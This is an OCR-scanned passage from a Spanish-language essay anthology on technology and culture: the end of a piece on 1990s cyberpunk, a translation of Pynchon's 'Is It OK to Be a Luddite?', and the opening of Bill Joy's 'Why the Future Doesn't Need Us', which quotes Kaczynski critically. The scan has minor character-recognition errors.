considerado un optimista victoriano (aquellos que lo han leido deben
dudar de esto), mientras que los cyberpunks suelen ser considerados



CYBERPUNK EN LOS NOVENTA 183

como nihilistas (por aquellos que eligen y arman el canon). ;Por qué? Es
el tenor de los tiempos, pienso yo.

Hay mucha desolacién en el cyberpunk, pero es una desolacién
honesta. Hay éxtasis, pero también hay horror. Mientras estoy sentado
aqui, un oido puesto en las noticias de la TV, oigo al Senado de EE.UU.
debatir sobre la guerra. Y detras de esas palabras hay ciudades incen-
diadas y multitudes laceradas por granadas aéreas, soldados con con-
vulsiones provocadas por el gas mostaza y sarin.

Esta generacién tendra que observar un siglo de maniaca devasta-
cion y descuido, y lo sabemos. Seremos afortunados de no sufrir dema-
siado por maltratos ecolédgicos ya cometidos; seremos extremadamente
afortunados si no vemos a millones de seres humanos hermanos morir
horriblemente en television mientras nosotros occidentales nos senta-
mos en nuestros livings comiendo nuestras hamburguesas. Y esto no es
un tonto discurso bohemio; esto es una afirmacion objetiva sobre la
condicién del mundo, facil de confirmar para cualquiera con el coraje de
mirar los hechos.

Estas perspectivas deben y deberian afectar nuestros pensamientos
y expresiones y, si, nuestras acciones; y si los escritores cierran sus 0jos
a esto, pueden crear entretenimiento, pero no cumplen con los requisi-
tos para ser llamados escritores de ciencia ficcion. Y los cyberpunks son
escritores de ciencia ficcion —no de un “sub-género” o de un “culto”,
sino de la cosa misma. Merecemos ese titulo y no se nos deberia privar
de él.

Pero los Noventas no van a pertenecer a los cyberpunks. Vamos a
estar ahi trabajando, pero no somos el Movimiento, ni siquiera somos
“nosotros” ya. Los Noventas van a pertenecer a la generacion que viene,
aquellos que crecieron en los Ochentas. Todo el poder, y la mejor suerte
para el underground de los Noventas. No te conozco, pero sé que estas
ahi. Haz que suceda, puede hacerse. Lo sé. Yo estuve ahi.
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¢ Esta bien ser un Luddita?*
Thomas Pynchon

Como si el hecho de que sea 1984 no bastara, también es el 25° ani-
versario este afio de la famosa Conferencia de Rede de C.P. Snow, “Las
Dos Culturas y la Revolucién Cientifica”, notable por su advertencia de
que la vida intelectual en Occidente se estaba polarizando cada vez méas
entre las facciones “literaria” y “cientifica”, cada una condenada a no
entender o valorar a la otra. La conferencia originalmente se proponia
tratar temas como la reforma de los programas de investigacion en la
era del Sputnik y el rol de la tecnologia en el desarrollo de lo que pron-
to se haria conocido como tercer mundo. Pero fue la teoria de las dos
culturas la que llamo la atencidn de la gente. De hecho armé un buen
revuelo en su momento. Algunos temas de por si ya resumidos, se sim-
plificaron alin mas, lo cual produjo ciertas opiniones, tonos que se ele-
varon, incluso respuestas destempladas, llegando todo el asunto a
adquirir, aunque atenuado por las nieblas del tiempo, un marcado aire
de histeria.

Hoy nadie podria salir impune de una distincion como esa. Desde
1959, llegamos a vivir inmersos en flujos de datos mas vastos que cual-
quier otra cosa que el mundo haya visto. La desmitificacion es la orden
de nuestro dia, todos los gatos estan saltando de todos los bolsos e
incluso empiezan a mezclarse. Inmediatamente sospechamos inseguri-
dad en el ego de personas que todavia pueden tratar de esconderse
detrés de la jerga de una especialidad o de aspirar a una base de datos
que siempre esté “mas alld” del alcance de un profano. Cualquiera que
en estos dias tenga lo necesario (tiempo, primario completo y una sus-

*“Is it OK to be a luddite?”. Traducciéon de Carlos Gradin.
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cripcion paga), puede reunirse con casi cualquier porcién de conoci-
miento especializado que él o ella necesite. Asi que, llegados a este
punto, la disputa ente las dos culturas no se puede sostener mas. Como
se vera en una visita a cualquier biblioteca o puesto de revistas de la
zona, ahora hay tantas mas de dos culturas, que el problema se ha vuel-
to, en realidad, como hallar tiempo para leer cualquier cosa fuera de la
especialidad de uno.

Lo que persiste, después de un largo cuarto de siglo, es el factor
humano. Con su pericia de novelista, al fin y al cabo, C.P. Snow buscé
identificar no s6lo dos tipos de educacion sino también dos tipos de per-
sonalidad. Ecos fragmentarios de viejas discusiones, de ofensas no olvi-
dadas recibidas a lo largo de charlas académicas que se remontan en el
tiempo, pueden haber ayudado a conformar el subtexto de la inmode-
rada, y por eso festejada, afirmacion de Snow, “Dejando de lado la cul-
tura cientifica, el resto de los intelectuales nunca intentaron, quisieron,
ni lograron entender a la Revolucién Industrial.” Estos “intelectuales”,
en su mayoria “literarios”, eran, para Lord Snow, “ludditas naturales”.

Salvo, quizés, el Pitufo Filésofo, es dificil imaginarse a alguien en
estos dias que quiera que lo llamen intelectual literario, aunque no
suena tan mal si se amplia el término a, digamos, “gente que lee y pien-
sa”. Que lo llamen luddita es otro tema. Trae consigo preguntas, como
ser, (Hay algo en la lectura y el pensamiento que llevaria o predispon-
dria a una persona a convertirse en luddita? ;Esta bien ser un luddita?
Y llegados a este punto, en realidad, ;qué es un luddita?

HISTORICAMENTE, los ludditas florecieron en Inglaterra desde
alrededor de 1811 a 1816. Eran bandas de hombres, organizados,
enmascarados, anénimos, cuyo propdsito era destruir maquinaria
usada sobre todo en la industria textil. Juraban lealtad no a un Rey bri-
tanico, sino a su propio Rey Ludd. No esta claro si se llamaban a si mis-
mos ludditas, aunque asi los llamaban tanto sus amigos como sus ene-
migos. El uso de la palabra por C.P. Snow obviamente buscaba polemi-
zar, queriendo dar a entender un miedo y odio irracionales a la ciencia
y la tecnologia. Los ludditas habian llegado, de esta manera, a ser ima-
ginados como los contrarevolucionarios de esa “Revolucién Industrial”
gue sus sucesores contemporaneos “nunca intentaron, quisieron, ni
lograron entender”.
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Pero la Revolucion Industrial no fue, como las Revoluciones
Americanay Francesa de mas o menos el mismo periodo, una lucha vio-
lenta con un principio, mitad de camino y final. Fue mas suave, menos
terminante, més parecida a un periodo acelerado en una larga evolu-
cion. EI nombre fue popularizado hace cien afios por el historiador
Arnold Toynbee, y ha tenido su parte de atencion revisionista Ultima-
mente, en la edicién de julio de 1984, de Scientific American. En ella, en
“Medieval Roots of the Industrial Revolution”, Terry S. Reynolds sugie-
re que el papel inicial del motor a vapor (1765) puede haberse exagera-
do. Lejos de ser revolucionaria, mucha de la maquinaria que el vapor
habia llegado para poner en movimiento, habia estado lista desde
mucho antes, siendo impulsada de hecho con agua y molinos desde la
Edad Media. No obstante, la idea de una “revolucién” tecno-social, en
la que sali6 triunfadora la misma gente que en Francia y América,
demostro ser Util para muchos a lo largo de los afios, y no menos util
para los que, como C.P. Snow, han creido descubrir con “ludditas” un
modo de designar a aquellos con los que desacuerdan, politicamente
reaccionarios y anticapitalistas al mismo tiempo.

Pero el Oxford English Dictionary tiene una interesante historia que
contar. En 1779, en un pueblito de algun lugar de Leicestershire, un Ned
Ludd se metié en una casa y “en un demente ataque de furia” destruy6
dos méaquinas usadas para tejer medias de lana. La noticia se corrid.
Pronto, cada vez que se hallaba saboteado un marco para medias —esto
venia pasando, dice la Enciclopedia Britanica, desde 1710 aproximada-
mente- la gente respondia con la frase (ya popular), “Por acé debe haber
pasado Ludd”. Para cuando su nombre fue adoptado por los sabotea-
dores de telares de 1812, el Ned Ludd histérico se habia asimilado en el
de alguna manera sarcastico apodo de “Rey (o Capitan) Ludd”, y era
ahora todo misterio, rumores y diversion clandestina, rondando los dis-
tritos de tejedores de Inglaterra, armado nada mas que con un gracioso
palo —cada vez que se topa con el marco de un telar se pone loco y no
para hasta romperlo.

Pero importa mucho recordar que incluso el blanco del ataque ori-
ginal de 1779, al igual que muchas de las maquinas de la Revoluciéon
Industrial, no era novedoso como pieza de tecnologia. El telar para
medias habia estado dando vueltas desde 1589, cuando, segun el
folklore, fue inventado por el reverendo William Lee, llevado a ello por
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la locura. Parece que Lee estaba enamorado de una joven que estaba
maés interesada en su tejido que en él. El iba a su casa, y “Lo siento, Rey,
tengo que tejer” “j; Qué?! ;De nuevo?”. Despues de un tiempo, incapaz
de tolerar un rechazo asi, Lee, a diferencia de Ned Ludd, sin ningln ata-
gue de furia alocada, sino logica y serenamente —imaginemos-, se dedi-
cd a inventar una maquina que dejara obsoleto el tejido manual de
medias. Y lo logré. De acuerdo a la enciclopedia, el telar del clérigo ena-
morado, “era tan perfecto en su concepcién que siguié siendo el Unico
medio mecanico para tejer, por cientos de afios”.

Ahora, dada esa brecha de tiempo, no es nada facil pensar a Ned
Ludd como un loco tecno-fébico. No hay duda: lo que lo hacia admira-
ble y legendario era el vigor y la decisiébn con que aparecia. Pero las
palabras “demente ataque de furia” son de segunda o tercera mano, por
lo menos 68 afios después de los hechos. Y el enojo de Ned Ludd no se
dirigia a las maquinas, no exactamente. Me gusta mas pensarlo como el
enojo controlado, tipo artes marciales, del Molesto decidido a todo.

Cuenta con una larga historia folklorica esta figura, el Molesto.
Suele ser hombre, y pese a ganarse a veces la intrigante tolerancia de las
mujeres, lo admiran de manera casi universal los hombres debido a dos
virtudes basicas: es Malo y Grande. Malo pero no moralmente maligno,
no necesariamente, mas bien capaz de hacer dafio a gran escala. Lo que
importa aca es la amplificacion de la escala, el efecto multiplicador.

Las maquinas de tejer que provocaron los primeros disturbios
ludditas habian estado dejando sin trabajo a la gente por méas de dos
siglos. Todos veian como pasaba esto —se volvié parte de la vida diaria.
También veian a las maquinas convertirse mas y mas en propiedad de
personas que no trabajaban, sélo poseian y empleaban. No se necesit6 a
ningun filésofo aleman, en ese momento o después, para sefialar lo que
ésto hacia, habia estado haciendo, a los salarios y a los trabajos. El sen-
timiento general sobre las maquinas nunca hubiera podido ser mero
horror irracional, sino algo mas complejo: el amor/odio que se genera
entre humanos y maquinaria —especialmente cuando ha estado dando
vueltas por un tiempo-, sin mencionar un serio resentimiento contra
por lo menos dos efectos multiplicadores que fueron vistos como injus-
tos y peligrosos. Uno era la concentracion de capital que cada maquina
representaba, y el otro, la capacidad de cada maquina de dejar afuera
del trabajo a un cierto nimero de humanos —de ser més “valiosas” que
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muchas almas humanas. Lo que le dio al Rey Ludd ese especial Mal
caracter suyo, que lo llevé de héroe local a enemigo publico nacional,
fue que él embisti6 contra estos oponentes amplificados, multiplicados,
mas que humanos, y prevalecid. Cuando los tiempos son duros, y nos
sentimos a merced de fuerzas muchas veces mas poderosas, ;/acaso no
nos volvemos en busca de alguna compensacion, aunque sea en la ima-
ginacion, en los deseos, y miramos hacia el Molesto —el genio, el golem,
el gigante, el superhéroe- que resistira lo que de otra manera nos abru-
maria? Por supuesto, el destrozamiento de telares reales o seculares,
seguia a cargo de hombres comunes, sindicalistas avanzados de la
época, usando la noche, y su propia solidaridad y disciplina, para lograr
sus efectos multiplicadores.

Era lucha de clases a la vista de todo el mundo. El movimiento tenia
sus aliados parlamentarios, entre ellos Lord Byron, cuyo discurso inau-
gural en el Palacio de los Lores en 1812 compasivamente se opuso al
proyecto de ley que proponia, entre otras medidas de represion, hacer
pasible de pena de muerte el sabotaje de maquinas de tejer medias. ‘3 No
simpatizas con los ludditas?” le escribid6 desde Venecia a Thomas
Moore. “jPor el Sefior, que si hay una batalla estaré entre ustedes!
(Cémo les va a los tejedores —los destrozadores de telares— los
Luteranos de la politica —los reformadores?”. Incluia una “amable can-
cion” que mostré ser un himno luddita tan encendido que no fue publi-
cado hasta después de muerto el poeta. La carta tiene fecha de diciem-
bre de 1816: Byron habia pasado el verano anterior en Suiza, atrapado
por un tiempo en la Villa Diodati con los Shelley, mirando la lluvia caer,
mientras se contaban entre si historias de fantasmas. Para ese diciembre
—asi fue como sucedio—, Mary Shelley estaba trabajando en el Capitulo
Cuatro de su novela Frankenstein, o el Moderno Prometeo.

Si hubiera un género tal como la novela luddita, ésta, que advierte
de lo que puede pasar cuando la tecnologia, y aquellos que la manejan,
se salen de los carriles, seria la primera y estaria entre las mejores. La
criatura de Victor Frankenstein, ademaés, también califica como un enor-
me Molesto literario. “Me decidi...”, nos dice Victor, “a hacer a la cria-
tura de una estatura gigante, o sea, digamos, unos ocho pies de altura,
y proporcional en tamafio” —lo que hace a lo Grande. La historia de
como llegé a ser tan Malo es el corazon de la novela, bien cobijado en su
interior: la historia es narrada a Victor en primera persona por la cria-
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tura misma, enmarcada después dentro de la narrativa del propio
Victor, que se enmarca a su vez en las cartas del explorador del Artico,
Robert Walton. Mas alla de que mucha de la vigencia de Frankenstein se
debe al genio no reconocido de James Whale, que la tradujo al cine,
sigue siendo mas que una buena lectura, por todos los motivos por los
gue leemos novelas, asi como por la mucho més limitada razén de su
valor luddita: esto es, por su intento, a través de medios literarios que
son nocturnos y se mueven con disfraces, de negar a la maquina.

Miren, por ejemplo, el relato de Victor de cdmo ensamblé y dio vida
a su criatura. Debe ser, por supuesto, un poco vago acerca de los deta-
lles, pero se nos habla de un procedimiento que parece incluir cirugia,
electricidad (aunque nada parecido a las extravagancias galvanicas de
Whale), quimica e, incluso, desde oscuras referencias a Paracelsio y
Albertus Magnus, la todavia recientemente desacreditada forma de
magia conocida como alquimia. Lo que esté claro, sin embargo, mas alla
del tantas veces representado electro-shock-en-el-cuello, es que ni el
método ni la criatura que resulta son mecanicos.

Esta es una de varias interesantes similitudes entre Frankenstein y
un cuento anterior de lo Malo y Grande, El Castillo de Otranto (1765), de
Horace Walpole, usualmente considerada como la primera novela géti-
ca. Por alglin motivo, ambos autores, al presentar sus libros al publico,
emplearon voces ajenas. El prefacio de Mary Shelley fue escrito por su
marido, Percy, que se hacia pasar por ella. No fue hasta 15 afios después
gue Mary escribié una introduccién a Frankenstein en su propio nombre.
Walpole, por otra parte, le invento a su libro toda una historia editorial,
diciendo que era la traduccion de un texto medieval italiano. Recién en
el prefacio de la segunda edicion admitio su autoria.

Las novelas también tienen origenes nocturnos asombrosamente
similares: las dos son resultado de episodios de suefios lUcidos. Mary
Shelley, aquel verano de historias de fantasmas en Ginebra, intentando
dormirse una noche, de pronto vio a la criatura cobrando vida, las imé-
genes surgiendo en su mente “con una vivacidad mas alla de los limites
usuales del ensuefio”. Walpole se habia despertado de un suefio, “del
cual, todo lo que podia recordar era que habia estado en un antiguo cas-
tillo (...) y que en la baranda superior de una escalera vi una gigantesca
mano en una armadura.”
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En la novela de Walpole, esta mano resulta ser la mano de Alfonso
el Bueno, anterior principe de Otranto y, pese a su epitafio, el Molesto
residente del castillo. Alfonso, como la criatura de Frankenstein, esti
armado por partes —casco de marta con plumas, pie, pierna, espada,
todas ellas, como la mano, bastante sobredimensionadas— que caen del
cielo o se materializan simplemente aqui y alla por los terrenos del cas-
tillo, inevitables como el lento regreso de lo reprimido segun Freud. Los
agentes motivadores, de nuevo como en Frankenstein, son no-mecéanicos.
El ensamble final de “la forma de Alfonso, dilatada en una magnitud
inmensa”, se logra a través de medios sobrenaturales: una maldicion
familiar, y la mediacién del santo patrono de Otranto.

La pasion por la ficcion gdtica después de El Castillo de Otranto se
originaba, yo sospecho, en profundos y religiosos anhelos de aquellos
tempranos tiempos miticos que habian llegado a conocerse como la
Edad de los Milagros. De modos mas y menos literales, la gente del siglo
XVIII creia que una vez hace mucho tiempo, todo tipo de cosas habian
sido posibles y que ya no lo eran més. Gigantes, dragones, hechizos. Las
leyes de la naturaleza no se habian formulado tan estrictamente por ese
entonces. Lo que habia sido una vez magia verdadera en funcionamien-
to habia, para el tiempo de la Edad de la Razén, degenerado en mera
magquinaria. Los oscuros, satdnicos molinos de Blake representaban una
antigua magia que, como Satan, habia caido en desgracia. Mientras la
religion era secularizada mas y mas en Deismo y descreimiento, el
hambre permanente de los hombres por evidencias de Dios y de vida
después de la muerte, de salvacion —resurreccion corporal, de ser posi-
ble-, seguia vivo. EI movimiento Metodista y el Gran Despertar
Americanol fueron so6lo dos sectores dentro de un vasto frente de resis-
tencia a la Edad de la Razdn, un frente que incluia al Radicalismo y la
Francmasoneria, asi como a los ludditas y la novela Gética. Cada uno a
su manera expresaba la misma profunda resistencia a abandonar ele-
mentos de fe, por mas “irracionales” que fueran, a un orden tecno-poli-
tico emergente que podia o no saber lo que estaba haciendo. El “Gotico”
devino cédigo para “medieval”, y éste se hizo cédigo para “milagroso”,

1. Fendbmeno de renovacion religiosa protagonizado por predicadores que reco-
rrian las colonias britanicas en Ameérica entre 1720 y 1760. (N. del E.)
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a través de Pre-Rafaelitas,2 cartas de tarot fin-de-siecle, novelas del espa-
cio en revistas clase-B, hasta llegar a “Star Wars” y las historias contem-
poraneas de espadas y hechiceros.

Insistir en lo milagroso es negarle a la maquina al menos una parte
de sus pretensiones sobre nosotros, afirmar el deseo limitado de que las
cosas vivientes, terrestres o de otra especie, en ocasiones puedan vol-
verse tan Malas y Grandes como para intervenir en hechos trascenden-
tes. Segun esta teoria, por ejemplo, King Kong (? - 1933) deviene un cla-
sico santo luddita. El dialogo final de la pelicula, ustedes recordaran,
dice: “Bueno, el avién pudo con éI”. “No... fue la Belleza la que maté6 a
la Bestia”. Donde de nuevo encontramos la misma Disyuncion
Snoviana, s6lo que diferente, entre lo humano y lo tecnoldgico.

Pero si insistimos en violaciones ficcionales a las leyes de la natura-
leza —del espacio, del tiempo, de la termodinédmica, y la nGmero uno, de
la mortalidad en si— entonces nos arriesgamos a ser juzgados por el
establishment literario como Poco Serios. Ser serios acerca de estos
temas es una manera en que los adultos se han definido tradicional-
mente a si mismos frente a los seguros de si, los inmortales nifios con los
gue tienen que vérselas. Recordando a Frankenstein, que escribié cuan-
do tenia 19, Mary Shelley dijo, “Tengo un carifio especial por esa nove-
la, pues era la primavera de dias felices, cuando la muerte y la pena no
eran sino palabras que no hallaban eco verdadero en mi corazén”. La
actitud Gética en general, debido a que empleaba imagenes de muerte
y de sobrevivientes fantasmales con fines no mas responsables que los
de efectos especiales y decorados, fue juzgada de insuficientemente
seria y confinada a su propia zona del pueblo. No es el Unico barrio de
la gran Ciudad de la Literatura tan, digamos, cuidadosamente demar-
cado. En los westerns, la gente buena siempre gana. En las novelas
romanticas, el amor supera los obstaculos. En los policiales, sabemos
mas que los personajes. Nosotros decimos, “Pero el mundo no es asi”.
Estos géneros, al insistir en lo que es contrario a los hechos, no llegan a
ser suficientemente Serios, y entonces se les pone la etiqueta de “viajes
escapistas”.

2. Comunidad de artistas fundada en 1848 en Inglaterra que aspiraba a recuperar
los principios y précticas artisticas que creian caracteristicos del arte italiano antes
de Rafael. (N. del E.)
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Esto es especialmente lamentable en el caso de la ciencia ficcién, en
la cual pudo verse en la década posterior a Hiroshima uno de los flore-
cimientos mas impresionantes de talento literario y, muchas veces, de
genio de nuestra historia. Fue tan importante como el movimiento Beat
que tenia lugar al mismo tiempo, ciertamente méas importante que la fic-
cion popular que, apenas con algunas excepciones, se habia paralizado
por el clima politico de la guerra fria y los afios de McCarthy. Ademas
de ser una sintesis casi ideal de las Dos Culturas, resulta que la ciencia
ficcién también fue uno de los principales refugios, en nuestro tiempo,
para aquellos de ideas ludditas.

Para 1945, el sistema fabril —que, mas que ninguna otra pieza de
maquinaria, fue el auténtico legado de la Revolucién Industrial- se
habia extendido hasta abarcar el Proyecto Manhattan, el programa de
cohetes de larga distancia de Alemania y los campos de concentracion,
como Auschwitz. No hizo falta ningan don especial de adivinacién para
ver cdmo estas tres curvas de desarrollo podrian plausiblemente con-
verger, y en no mucho tiempo. Desde Hiroshima, hemos visto a las
armas nucleares multiplicarse fuera de control, y los sistemas de direc-
cionamiento adquieren, con fines globales, alcance y precision ilimita-
das. La aceptacion impasible de un holocausto de hasta siete y ocho
cifras en la cuenta de cuerpos, se ha convertido —entre aquellos que, en
particular desde 1980, han guiado nuestras politicas militares— en una
hipétesis natural.

Para la gente que estaba escribiendo ciencia ficcién en los '50, nada
de esto era una sorpresa, aunque las imaginaciones de los ludditas
modernos todavia tienen que encontrar alguna contra-criatura tan
Grande y Mala, incluso en la mas irresponsable de las ficciones, que se
le pueda comparar a lo que pasaria durante una guerra nuclear. Asi, en
la ciencia ficcion de la Era Atémica y la Guerra Fria, vemos tomar una
direccion diferente a los impulsos ludditas de negar la maquina. El
&ngulo tecnoldgico perdid énfasis en favor de preocupaciones mas
humanisticas —exdticas evoluciones culturales y escenarios sociales,
paradojas y juegos de espacio/tiempo, salvajes preguntas filoséficas—, la
mayoria compartiendo, como ha discutido en extenso la critica literaria,
una definicion de “humano” como particularmente distinto de “maqui-
na”. Al igual que sus contrapartes originales, los ludditas del siglo XX
miraron anhelantes hacia atras, hacia otra era —curiosamente, a la misma
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Edad de la Razén que habia empujado a los primeros ludditas a la nos-
talgia por la Edad de los Milagros.

Pero ahora vivimos, se nos dice, en la Era de las Computadoras.
¢Qué prondsticos hay para la sensibilidad luddita? ;Atraeran los CPU
la misma atencion hostil que alguna vez despertaron las maquinas de
tejer? Realmente, lo dudo. Escritores de todos los estilos van en estam-
pida a comprar procesadores de texto. Las maquinas ya se han vuelto
tan amigables que incluso el mas irreductible luddita puede caer seduci-
do a bajar la guardia y apretarse unas teclas. Detras de esto parece haber
un creciente consenso acerca de que el conocimiento realmente es
poder, que hay una conversién bastante directa entre dinero e informa-
cién y que, de alguna manera, si la logistica se soluciona, puede que los
milagros todavia sean posibles. Si esto es asi, los ludditas quizas hayan
llegado finalmente a un terreno comuan con sus adversarios Snovianos,
la sonriente armada de tecndcratas que se suponia llevaba “el futuro en
los huesos”. Quizas sélo sea una nueva forma de la incesante ambiva-
lencia luddita respecto a las maquinas, o puede ser que la esperanza de
milagro méas profunda de los ludditas haya venido a residir en la habi-
lidad de las computadoras para conseguir la informacién correcta y dar-
sela a aquellos a quiénes esa informacion sera més util. Con los adecua-
dos programas de financiamiento y tiempo, con las computadoras cura-
remos el cancer, nos salvaremos de la extincion nuclear, produciremos
comida para todos, desintoxicaremos los resultados de la codicia indus-
trial devenida psicopatia —véanse todas las melancoélicas ensofiaciones
de nuestro tiempo.

La palabra “luddita” se sigue usando con desprecio para cualquie-
ra con dudas acerca de la tecnologia, especialmente la de tipo nuclear.
Los ludditas hoy ya no estdn mas enfrentados a humanos duefios de
fabricas y a maquinas vulnerables. Como profetiz6 el renombrado pre-
sidente y luddita involuntario D. D. Eisenhower al dejar su puesto, hay
ahora un permanente, poderoso sistema de almirantes, generales y
directores de corporaciones, frente al cual nosotros, pobres bastardos
comunes, estamos completamente desclasados, aunque Ike no lo dijo
con esas palabras. Se supone que debemos quedarnos tranquilos y dejar
gue las cosas sigan andando, incluso aunque, debido a la revolucion de
la informacién, se hace cada dia mas dificil engafiar a cualquiera por
cualquier lapso de tiempo. Si nuestro mundo sobrevive, el siguiente



(ESTA BIEN SER LUDDITA? 195

gran desafio a tener en cuenta va a ser —lo oyeron aca, en primicia—
cuando las curvas de investigacién y desarrollo en inteligencia artificial,
biologia molecular y robdtica converjan. jAy! Va a ser increible e impre-
decible, y hasta los mandos mas altos, recemos devotamente, van a lle-
gar a destiempo. Ciertamente es algo para que todos los buenos luddi-
tas le prestemos atencion si, Dios mediante, llegamos a vivir tanto.

Mientras, como norteamericanos, podemos buscar alivio, por esca-
so y frio que sea, en la improvisada y maliciosa cancion de Lord Byron,
en la que, como otros observadores de su tiempo, percibié relaciones
evidentes entre los primeros ludditas y nuestros propios origenes revo-
lucionarios. Asi empieza:

Como los compafieros de la Libertad més alla del mar
Compraron su libertad, barata, con su sangre,

Asi haremos nosotros, muchachos. Vamos

A morir peleando, o0 a vivir libres.

i'Y que caigan todos los reyes menos el Rey Ludd!
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Por qué el futuro no nos necesita™
Bill Joy

Desde el momento en que me involucré en la creacion de nuevas
tecnologias, sus dimensiones éticas me han interesado, pero fue recién
en el otofio de 1998 que tomé consciencia, con ansiedad, de lo grandes
que son los peligros que nos esperan en el siglo XXI. Puedo situar en el
tiempo el inicio de mi incomodidad, en el dia en que conoci a Ray
Kurzweil, el famoso inventor de la primera maquina de lectura para cie-
gos y de muchas otras cosas asombrosas.

Ray y yo éramos ambos oradores en la conferencia de George
Gilder en Telecosm, y me encontré con él por casualidad en el bar del
hotel luego de que nuestras sesiones hubieran terminado. Yo estaba sen-
tado con John Searle, un fil6sofo de Berkeley que estudia la conciencia.
Mientras hablabamos, Ray se acerc6 y empezd una conversacién, cuyo
tema me persigue hasta el dia de hoy.

Yo me habia perdido la charla de Ray y el panel de discusién pos-
terior en el que habian estado Ray y John, y ahora ellos retomaron desde
donde lo habian dejado, con Ray diciendo que los ritmos del avance de
la tecnologia iban a acelerarse y que nosotros ibamos a convertirnos en
robots o a fusionarnos con robots o algo parecido, y John respondia que
esto no podia pasar, porque los robots no podian tener conciencia.

Aunque habia escuchado esa conversacién otras veces, siempre
habia sentido que los robots sensibles pertenecian al reino de la ciencia
ficcion. Pero ahora, de alguien por quien sentia respeto, estaba
escuchando un argumento fuerte de que eran una posibilidad a corto
plazo. Me tomaé por sorpresa, especialmente dada la probada habilidad

* “Why the future doesn’t need us”. Traduccién de Carlos Gradin.
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de Ray de imaginar y crear el futuro. Yo ya sabia que nuevas tecnologias
como la ingenieria genética y la nanotecnologia estaban dandonos el
poder de rehacer el mundo, pero un escenario realista y cercano de
robots con inteligencia me descolocd.

Es facil saturarse de esos “adelantos”. Casi todos los dias oimos en
las noticias algun tipo de avance tecnolégico o cientifico. Pero ésta no
era una prediccién comdn. En el bar del hotel, Ray me dio una prueba
de impresion de su libro que estaba por salir, The age of spiritual machines
[La era de las maquinas espirituales]?, en el que esbozaba una utopia
gue él veia en el futuro: los humanos estarian cerca de obtener la inmor-
talidad a través de volverse una misma cosa con la tecnologia robotica.
Al leerlo, mi sensacién de desagrado sélo se hizo mas intensa; me sen-
tia seguro de que él tenia que estar entendiendo los peligros, enten-
diendo la probabilidad de un resultado negativo por ese camino.

Todavia me senti peor por un pasaje en que se describia un esce-
nario distépico:

El nuevo desafio luddita

Primero imaginemos que los cientificos informéticos tienen éxito en
crear maquinas inteligentes que pueden hacer todo mejor que los seres
humanos. Entonces, se puede esperar que todo el trabajo lo realicen
vastos sistemas de maquinas altamente organizadas y que ya no sea
necesario ningun esfuerzo humano. Una de dos cosas pueden ocurrir.
Se le podria permitir a las maquinas tomar todas las decisiones por si
mismas sin supervision humana, o bien se mantendria el control
humano sobre las maquinas.

Si se les permite a las maquinas tomar todas las decisiones, no
podemos hacer ninguna conjetura acerca de los resultados, porque es
imposible adivinar como se comportarian tales maquinas. Solamente
seflalamos que el destino de la raza humana quedaria a merced de las
maquinas. Se dird que la raza humana no seria nunca tan tonta como
para dejarle todo el poder a las maquinas. Pero no sugerimos ni que la
raza humana entregaria el poder voluntariamente ni que las maquinas
tomarian el poder por propia iniciativa. Lo que sugerimos es que la

1. The age of spiritual machines: When computers excede human intelligence. London,
Penguin, 1999 (hay trad. cast.: La era de las maquinas espirituales: Cuando las com-
putadoras superen la mente humana. Barcelona, Planeta, 1999). (N. del E.)
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raza humana facilmente podria dejarse llevar hasta una posicion de
dependencia tal que las maquinas no tendrian otra opcion practica
que asumir todas sus decisiones. Al volverse la sociedad y los proble-
mas que enfrenta mas y méas complejos, y las maquinas volverse masy
maés inteligentes, la gente dejard que las maquinas tomen mas deci-
siones por ella, simplemente porque las decisiones que tomen las
méquinas producirdn mejores resultados que las decisiones tomadas
por humanos. Eventualmente se alcanzard un punto en el que las
decisiones imprescindibles para mantener funcionando el sistema
serdn tan complejas que excederan las capacidades de los seres
humanos de hacerlo correctamente. En ese punto las maquinas tendran
el control efectivo. La gente sencillamente no podrd apagar las
maquinas, porque dependeran tanto de ellas que apagarlas equivaldria
a suicidarse.

Por el otro lado, es posible que el control humano sobre las
maquinas sea retenido. En ese caso el hombre promedio tendria control
sobre ciertas maquinas privadas, de su propiedad, como ser su auto o
su computadora personal, pero el control sobre grandes sistemas de
maquinas quedara en manos de una pequefia elite —tal como sucede
hoy, pero con dos diferencias. Gracias a técnicas mas desarrolladas la
elite contara con un mayor control sobre las masas; y debido a que el
trabajo humano ya no serd necesario las masas seran superfluas, una
carga inutil para el sistema. Si la elite sencillamente es impiadosa
podria decidir exterminar las masas humanas. Si es mas humana
podria emplear propaganda u otras técnicas psicoldgicas o bioldgicas
para reducir los indices de natalidad hasta que la masa humana se
extinga, dejandole el mundo a la elite. O, si la elite consiste en liberales
[liberals] de corazon blando, podrian decidir interpretar el papel de
buenos pastores del resto de la raza humana. Cuidaran de que las
necesidades fisicas de todos estén satisfechas, de que los chicos sean
criados bajo condiciones psicoldgicas higiénicas, que todos tengan un
sano hobby para entretenerse, y que cualquiera que se sienta insatisfe-
cho reciba un “tratamiento” que lo cure de su “problema”. Desde ya, la
vida carecera de sentido a tal extremo que la gente tendrd que ser
reprogramada biolégica o psicoldgicamente ya sea para removerles su
necesidad del proceso de poder o para “sublimarles” su ansia de poder
hacia algun hobby inofensivo. Estos seres humanos reprogramados
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podrian ser felices en esa sociedad, pero ciertamente no seran libres.
Habran sido reducidos al estatus de animales domésticos.2

En el libro no se descubre, hasta que se da vuelta la pagina, que el
autor del fragmento es Theodore Kaczynski —el Unabomber. No soy
para nada un apologista de Kaczynski. Sus bombas mataron a tres per-
sonas durante una campafia de 17 afios de terror e hirieron a muchas
otras. Una de sus bombas hirié gravemente a mi amigo David Gelernter,
uno de los mas brillantes y visionarios cientificos informaticos de
nuestro tiempo. Como muchos de mis colegas, yo senti que tranquila-
mente podia ser el siguiente blanco del Unabomber.

Los actos de Kaczynski fueron asesinos y, creo, dementes.
Claramente es un luddita, pero decir esto no anula sus argumentos; tan
dificil como me resulta a mi aceptarlo, vi cierto mérito en el razo-
namiento de esta cita en especial. Me senti llamado a confrontarlo.

La vision distopica de Kaczynski describe consecuencias que no
habian sido previstas, un problema que es muy conocido en el disefio y
uso de tecnologia, problema claramente relacionado a la ley de Murphy
—“Cualquier cosa que pueda salir mal, saldra mal.” (De hecho, esta es la
ley de Finagle, lo que en si mismo muestra que Finagle tenia razon).
Nuestro excesivo uso de antibidticos ha llevado a lo que puede ser el
mayor de estos problemas hasta ahora: la aparicion de bacterias
resistentes a los antibidticos y mucho mas peligrosas. Cosas similares
pasaron cuando los intentos de eliminar a los mosquitos de la malaria
usando DDT llevaron a que éstos adquirieran resistencia al DDT; al
mismo tiempo, los parasitos de la malaria adquirieron genes resistentes
a multiples drogas.3

